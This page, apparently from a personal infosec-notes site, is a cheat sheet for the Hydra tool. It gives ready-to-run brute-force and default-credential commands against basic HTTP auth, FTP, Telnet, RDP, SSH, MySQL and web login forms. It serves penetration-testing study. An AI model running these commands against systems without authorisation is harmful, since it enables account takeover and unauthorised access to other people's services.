> For the complete documentation index, see [llms.txt](https://riteshs4hu.gitbook.io/infosec-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://riteshs4hu.gitbook.io/infosec-notes/internal-and-external-network-sec/password-cracking/online-password-cracking/hydra.md).

# Hydra

**Hydra** is designed for brute-forcing various authentication services. It automates the process of testing multiple username and password combinations against a target system. Hydra supports different protocols, including SSH, FTP, RDP, HTTP, Telnet, and databases like MySQL and PostgreSQL

### **Installing Hydra**

* Install Hydra on Debian-based systems (Kali, Ubuntu, ParrotOS)

```bash
sudo apt update  
sudo apt install hydra
```

***

### **Basic Syntax**

* Brute force login attempts using a username and password list

```bash
hydra -L <usernamelist> -P <passwordlist> {target-ip} -s <port> <service> -t <threads>
```

* **`-l <username>`** → Single username
* **`-L <usernamelist>`** → List of usernames
* **`-p <password>`** → Single password
* **`-P <passwordlist>`** → List of passwords
* **`-s <port>`** → Specify a custom port
* **`-t <threads>`** → Set the number of concurrent attempts
* **`-C <combo_list>`** → Use `username:password` pairs from a file

***

### **Brute Forcing Different Services**

#### **Basic Web Authentication**

* Brute-force a basic web authentication login

```bash
hydra -L users.txt -P passwords.txt {target-ip} http-get -t 10
```

***

#### **FTP (File Transfer Protocol)**

* Attempt default FTP login credentials

```bash
hydra -C /usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt {target-ip} ftp
```

***

#### **Telnet**

* Brute-force Telnet login using a credentials list

```bash
hydra -C /usr/share/seclists/Passwords/Default-Credentials/telnet-betterdefaultpasslist.txt {target-ip} telnet
```

***

#### **RDP (Windows Remote Desktop)**

* Attempt login to an RDP service using default credentials

```bash
hydra -C /usr/share/seclists/Passwords/Default-Credentials/windows-betterdefaultpasslist.txt {target-ip} rdp
```

***

#### **SSH (Secure Shell)**

* Brute-force SSH authentication using username and password lists

```bash
hydra -L users.txt -P passwords.txt ssh://{target-ip} -t 10
```

***

#### **MySQL Database**

* Attempt login to a MySQL database using default credentials

```bash
hydra -C /usr/share/seclists/Passwords/Default-Credentials/mysql-betterdefaultpasslist.txt {target-ip} mysql
```

***

### **Web Form-Based Brute Force**

#### **Basic HTTP Form Attack**

* Attempt login on a web form where the password field is "key"

```bash
hydra {target-ip} http-form-post "/index.php:key=^PASS^:invalid key" -l admin -P /opt/rockyou.txt
```

***

#### **HTTP Post Attack**

* Brute-force login on an HTTP form-based authentication system

```bash
hydra -l user -P /opt/rockyou.txt {target-ip} http-post-form "/login.php:user=^USER^&pass=^PASS^:incorrect password" -f -V
```
